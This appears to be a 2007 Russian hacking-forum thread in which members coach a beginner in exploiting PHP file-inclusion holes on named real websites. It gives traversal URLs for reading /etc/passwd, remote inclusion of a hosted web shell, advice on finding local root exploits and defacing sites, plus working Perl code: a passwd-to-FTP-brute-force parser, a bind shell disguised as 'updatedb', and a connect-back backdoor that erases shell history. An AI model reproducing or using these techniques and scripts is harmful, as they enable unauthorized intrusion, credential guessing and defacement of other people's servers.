Просмотр полной версии : Сканер Php Inc , Inj
Есть ли такое чудо , если да - посоветуйте .
Talisman
24.04.2007, 21:47
смотри, инъекции передаются в параметре, так? (я про большинство случаев). т.е. мы должны найти параметры, передаваемые скрипту, подставлять в них гадости.
Для сканера самое сложное найти параметры (ИМХО) Хотя трин в своем сканере это с легостью сделал) да и гуглом тоже никто не запрещает воспользоваться)
т.е. получили лист с переменными и ссылками на скрипты. спрашивается, зачем сканер? быстрее руками проверить :)) только возникает одно но! ручками мы будем слать данные гетом, что палевно в логах... а вот другими прогами или сканером можно отправлять данные постом, что уже есть гуд. а написать такой сканер особого труда не составляет (писал когда-то :)) ).
Возникает еще 1 трудность - как понять, что пага уязвима? ну.. сканить структуру, или искать текст, который должен вывести инклуд :) но глазами все же точнее.
Ну и наконец, накой тебе просто так искать пшп инклуды? ради кайфа? тогда напиши свой сканер и не парься) хотя готовые экземпляры видел... названия не помню(забыл специально ;) ) :)
Хм , спасибо за ответ .
Может ещё что - то посоветуете ?
Talisman
Расскажи конкретнее , на что надо обращать внимание при поиске ПХП Инъекций ,
как вообще происходит поиск , я думаю это будет интересно не только мне .
На примере - как ищешь ты :)
Спасибо.
http://forum.antichat.ru/thread6296.html
Спасибо, интерсная статейка .
Странно как я её не заметил :) .
Жду подобных статей .
Спасибо :)
guest3297
24.04.2007, 23:01
XSpider
Acunectix
']XSpider
Acunectix
Последние две-три страницы темы в дальнейшем будут содержать вопросы вида "Где найти кряк для иксспайдера?"
Talisman
24.04.2007, 23:18
Как искать их? ну.. чтобы искать, нужно хотябы иметь базу представлений, как они чаще всего выглядят, для этого читаем эту темку:
http://forum.antichat.ru/thread38443.html
и играемся с линками как я приведу пример ниже))
Итак, разбирем такую вот инъекцию - она выводит список пользователей в никсе:
http://quake.olympus.ru/q3/playerstat.php?config=../../../../../../../etc/passwd
конечно, если бы серв был под виндой, ничего бы не вышло, но как правило сервера под никсом) поэтому имеет смысла подставлять в параметры строчки вида: ../../../../../../../etc/passwd, ../../../../../../../etc/master.passwd - если увидем, то это значит, что веб-сервер запущен из под рута.
итак, что же означают эти ../ - это спуск на директорию ниже. ниже корня не спустимся, поэтому их количество не повредит :)
итак. инъекция есть. но это инъекция пшп, или просто файла? как проверить? давайте попробуем проинклудить сам файл) посмотрим, что выйдет :))
т.к. уровень открытия папки мы не знаем... поэтому перебираем кол-во ../ имеем: http://www.rupivo.ru/papers.php?file=../....//../papers.php
какой то бред на странице, так? это плохой знак :( смотрим в сурс паги, находим: <?
if (isset ($file))
{
$content = file_get_contents('papers/'.$file);
echo($content);
}
else
{
$directory = 'papers';
$dir = opendir($directory);
while ($file = readdir($dir))
{
if (strpos($file, '.html'))
echo('<li><a href="papers.php?file='.rawurlencode($file).'" class="link1">'.str_replace('.html', '', $file).'</a><br>');
}
closedir($dir);
}
?>
вот он наш скрипт, нам вывелся его исходный код, а не результат работы, что с одной стороны плюс, а с другой минус. плюс заключается в том, что есть возможность просмотреть почти любые файлы веб-сервера (а при корявой настрояке - любые, а может даже и системные). Как правило читаем настройки форума) там пассы ну и т.д. и т.п.
а минус в том, что если не получится залить картинку со встроенным в хекс-редакторе шеллом, или вбить урл на вшенший шелл не получится, то мы попали - от инъекции почти никакого толка) а жаль.
ЗЫ щас в VBulletin приватная бага,связанная с загрузкой аватарок и исполнением их кода ))) эта бага - та же инъекция.
ЗЫ можт чето упустил) щас повспоминаю))))
?config=
?file=
Т.Е. любые строки такого вида в адрессной строке и есть подключений другого файла ? Инклюды ?
Я имею ввиду должно быть обязательно ?file= или ?config= ?
или может быть даже ?sdflgkj=
Talisman
24.04.2007, 23:32
да, могут быть даже netuincluda)))
http://www.odessaonline.com.ua/go.php?dir=../etc/passwd
Вот вроде бы инклюд , но сервер на ВИндовсе ... что можно зделать ?
http://www.odessaonline.com.ua/go.php?dir=../etc/passwd
Вот вроде бы инклюд , но сервер на ВИндовсе ... что можно зделать ?
а помоему не виндовс
Talisman
25.04.2007, 00:37
судя по ошибке:
Warning: file(c/../etc/passwd/2ndmenu) [function.file]: failed to open stream: No such file or directory in /home/odessaon/public_html/_parse/req/nav.class on line 235 - сервер явно не виндовс :) т.к. дира вида: /home/odessao....
это может быть смонтирован виртуальный диск , по типу того , что монтируют готовые связки Типа Денвер
это может быть смонтирован виртуальный диск , по типу того , что монтируют готовые связки Типа Денвер
Да но это cмущает etc/passwd/
Так дело в том , что не открывается этот файл ..
Пройди по ссылке попробуй
Так дело в том , что не открывается этот файл ..
Пройди по ссылке попробуй
и не должен.
обрати внимание на выделенные жирным фрагменты:
Warning: file(c/../etc/passwd/2ndmenu)
да , да .
Я видел . Шелу на удалённом сервере можно поменять имя на 2ndmenu.
Вот меня ещё интересует вопрос :
Я нашел удалённый инклуд , подключил шелл http://newxs.narod.ru/shell.txt
Но , ничего не могу с помощью него сделать.
Фалы не изменяются , не закачиваются , папки не создаются.
Как можно зделать дэфэйс ?
Спасибо.
да , да .
Я видел . Шелу на удалённом сервере можно поменять имя на 2ndmenu.
ну закачаешь ты файл 2ndmenu без расширения, и что дальше? :)
тем более, там в начале "c/".
Вот меня ещё интересует вопрос :
Я нашел удалённый инклуд , подключил шелл http://newxs.narod.ru/shell.txt
Но , ничего не могу с помощью него сделать.
Фалы не изменяются , не закачиваются , папки не создаются.
Как можно зделать дэфэйс ?
Спасибо.
линк в студию
chmod 777 /home/site/index.php
ну закачаешь ты файл 2ndmenu без расширения, и что дальше?
он всё равно выполнится как php код = )
Другое дело что там с/ в начале
chmod 777 /home/site/index.php
права не меняются я пользуюсь r57shell может есть какой ещё ?
http://212.41.0.34/index.php?fl=http://newxs.narod.ru/shell.txt&part=main
Линк взят из раздела "PHP Иньекции"
выполняешь uname -a
Смотришь чё тебе выдало, например Linux 2.6.14
идёшь на милворм или в гугл
пишешь Linux 2.6.14 local root exploit
если есть плоенты для этой версии, качаешь его на сервер в папку /tmp и следуешь инструкциям написанным в плоенте =\
Получаешь рута, теперь ты хэкер и король. Делаешь дефейс я пляшешь вокруг него с бубном =\
Понял !
Тренируюсь дальше
FreeBSD ns.sibstu.kts.ru 6.2-PRERELEASE FreeBSD 6.2-PRERELEASE #1: Tue Oct 31 18:11:44 KRAT 2006 serg@ns.sibstu.kts.
Вот у меня возник ещё один вопрос , если я получаю содержимое файла etc/passwd что мне это даёт ?
FreeBSD 6.2
чё то мне подсказывает что превад плоентов нету =\
del
Вот смотрите , кто - то залил шелл свой на сервер , а у меня не получаетсья , как он зделал , если кто знает , расскажите .
И его шелл может все редактировать , создавать , удалять , короче гворя , полный доступ.
Спасибо
Вот у меня возник ещё один вопрос , если я получаю содержимое файла etc/passwd что мне это даёт ?
Можно пропарсить и побрутить FTP на login:login вдруг повезёт.
Вот парсер:
#!/usr/bin/perl
$in=$ARGV[0];
$out=$ARGV[1]; ## определим параметры скрипта
exit print "Use $0 $in $out\n" unless ($out);
open(IN, "$in");
open(OUT, ">out");
while(<IN>){
chomp;
if (~/sh$/){ ## запишем только валидные аккаунты
($u,@udef)=split ":";
print OUT "$u:$u\n"; ## В виде пары login:login
}
}
close(IN);
close(OUT);
XENON4IK
26.04.2007, 16:53
У меня вот тут возник вопрос...
Есть у меня шелл... залил под фрюху туда эксплойт... А как его запутить то? Сорри за ламерский вопрос=))
У меня вот тут возник вопрос...
Есть у меня шелл... залил под фрюху туда эксплойт... А как его запутить то? Сорри за ламерский вопрос=))
Надо пробиндить машину, законектиться с помощью
netcat и скомпилить сплойт.
bind.pl:
#!/usr/bin/perl
$port = 32767;
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
accept(X, S);
unless(fork)
{
open STDIN, "<&X";
open STDOUT, ">&X";
open STDERR, ">&X";
close X;
exec("/bin/sh");
}
close X;
}
С помощью шелла выполняем команду : perl bind.pl в дире /tmp
конектимся через netcat : 111.111.111.111 3432
XENON4IK
26.04.2007, 17:04
Спасибо ща буду пробывать.
XENON4IK
26.04.2007, 17:22
Хммм почему то не биндиться машина... или забиндилась. Можно какнить проверить? а то он уже пол часа грузится...
Во ещё там нашёл такой файлик=)
bd.pl
#!/usr/bin/perl
use IO::Socket;
#cONNECT BACKDOOR EDITED BY XORON
#lord@SlackwareLinux:/home/programing$ perl dc.pl
#--== WElcome Obormot ==--
#
#Usage: dc.pl [Host] [Port]
#
#Ex: dc.pl 127.0.0.1 2121
#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
#--== ConnectBack Backdoor Shell is redy ==--
#
# Resolving HostName
# Connecting... 127.0.0.1
# Spawning Shell
# Connected to remote host
#bash-2.05b# nc -vv -l -p 2121
#listening on [any] 2121 ...
#connect to [127.0.0.1] from localhost [127.0.0.1] 32769
#--== ConnectBack Backdoor Shell EDITED BY XORON TURKЭSH HACKER ==--
#
#--==Systeminfo==--
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux
#
#--==Userinfo==--
#uid=1001(xoron) gid=100(users) groups=100(users)
#
#--==Directory==--
#/root
#
#--==Shell==--
#
$system = '/bin/sh';
$ARGC=@ARGV;
print "--== ConnectBack Backdoor Shell EDITED BY XORON TURKЭSH HACKER ==-- \n\n";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port] \n\n";
die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print " Resolving HostName\n";
print " Connecting... $ARGV[0] \n";
print " Spawning Shell \n";
print " Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "--== ConnectBack Backdoor Shell EDITED BY XORON TURKЭSH HACKER ==-- \n\n";
system("unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo;
echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF
Немного непонял про Парсер , как им пользоваться .
какие параметры задавать ?
Спасибо.
2XENON4IK
Можно проверить командой ps в веб шелле, если конечно она доступна.
Мне кажеться сдесь был хекер, файл bd.pl это бекдор.
2Xszz
perl parser.pl ftppass.txt out
ftppass.txt - есть тот файл с etc/passwd
out - отпарсированый файл с login:login
--
также есть траблы с актив перлом под винду , почему то иногда не пашет. Без проблем можно отпарсировать в любой *nix или в Cygwin.
Тема превратилась в "задай вопрос - получи ответ"...
XENON4IK
27.04.2007, 11:41
Не я понял что там был кул хацкер из турции=))) Проблему решил. подконнектился через неткэт. Пытался откомпилить сплоит.. но чёто не так или просто сплойт не пашет..
компилил так:
gcc -o3 -static -(чёто)-(чёто)-pointer kernel.c -o kernel
Причём между -(чёто)-(чёто)-pointer нету пробелов...
Это видел в каком то видео... сорри что не помню что там было точно написано. Но не суть. Вроде он компилится и создаёт этот файл kernel.
Я его запускаю он мне типо пишет создал папку /tmp/sh а реально он её не создаёт...
Это в чём проблема в компиляции или просто ядро пропатчено?
Ядро вроде уязвимое по версии...
Домой прийду отпишусь поподробнее...
Ядро вроде уязвимое по версии...
Домой прийду отпишусь поподробнее...
Если ядро патченое, сдесь кроме приват сплоинтов не чё не поможет =\, смотрим версии уязвимых демонов.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot